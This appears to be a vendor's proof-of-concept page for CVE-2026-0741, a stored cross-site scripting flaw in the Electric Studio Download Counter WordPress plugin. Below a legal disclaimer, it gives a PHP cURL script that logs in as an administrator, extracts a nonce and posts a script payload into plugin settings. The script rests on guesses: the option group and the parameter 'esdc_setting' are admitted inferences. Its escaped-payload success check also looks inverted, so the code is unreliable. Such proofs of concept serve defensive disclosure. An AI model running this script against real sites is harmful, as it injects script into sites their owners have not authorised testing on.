CVE-2026-0741: Electric Studio Download Counter <= 2.4 – Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Parameters (electric-studio-download-counter)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0741 - Electric Studio Download Counter <= 2.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Parameters
<?php
/*
 * Proof of Concept for CVE-2026-0741.
 * This script simulates an authenticated administrator exploiting the stored XSS vulnerability
 * in the Electric Studio Download Counter plugin settings.
 * Assumptions:
 * 1. The plugin's settings page is accessible via the standard WordPress options-general.php admin page.
 * 2. The plugin uses a settings form that POSTs to options.php.
 * 3. The vulnerable parameter(s) are among the plugin's registered settings.
 * 4. The attacker has valid administrator credentials.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_admin';
$password = 'attacker_password';

// Malicious payload to inject. This is a simple proof-of-concept alert.
$payload = '<script>alert("Atomic Edge XSS Test: " + document.domain);</script>';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for a dashboard redirect or absence of login form
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Access the plugin's settings page to obtain the WordPress nonce.
// The exact settings page slug is inferred from the plugin name.
$settings_page_url = $target_url . '/wp-admin/options-general.php?page=electric-studio-download-counter';
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Extract the WordPress nonce (likely named '_wpnonce') from the settings form.
// This regex is a generic pattern to find a nonce field; the exact nonce name may vary.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $nonce_matches);
$wp_nonce = $nonce_matches[1] ?? '';
if (empty($wp_nonce)) {
    die('Could not extract security nonce from settings page.');
}

// Step 3: Submit the malicious payload to the settings form.
// The form likely POSTs to options.php. The vulnerable parameter name is unknown but inferred.
// We target a common setting parameter name; actual exploitation may require parameter discovery.
$exploit_url = $target_url . '/wp-admin/options.php';
$exploit_fields = [
    '_wpnonce' => $wp_nonce,
    '_wp_http_referer' => '/wp-admin/options-general.php?page=electric-studio-download-counter',
    'option_page' => 'electric_studio_download_counter', // Inferred option group
    'action' => 'update',
    // Assume a vulnerable setting named 'esdc_setting' exists. Attacker would need to identify the correct parameter.
    'esdc_setting' => $payload
];

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);

// Step 4: Verify the payload was stored by revisiting the settings page.
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$verification_page = curl_exec($ch);

if (strpos($verification_page, htmlspecialchars($payload)) !== false) {
    echo "Payload likely stored. Visit the plugin's settings page to trigger execution.n";
} else {
    echo "Exploit attempt completed, but payload storage not confirmed. The vulnerable parameter name may differ.n";
}

curl_close($ch);
?>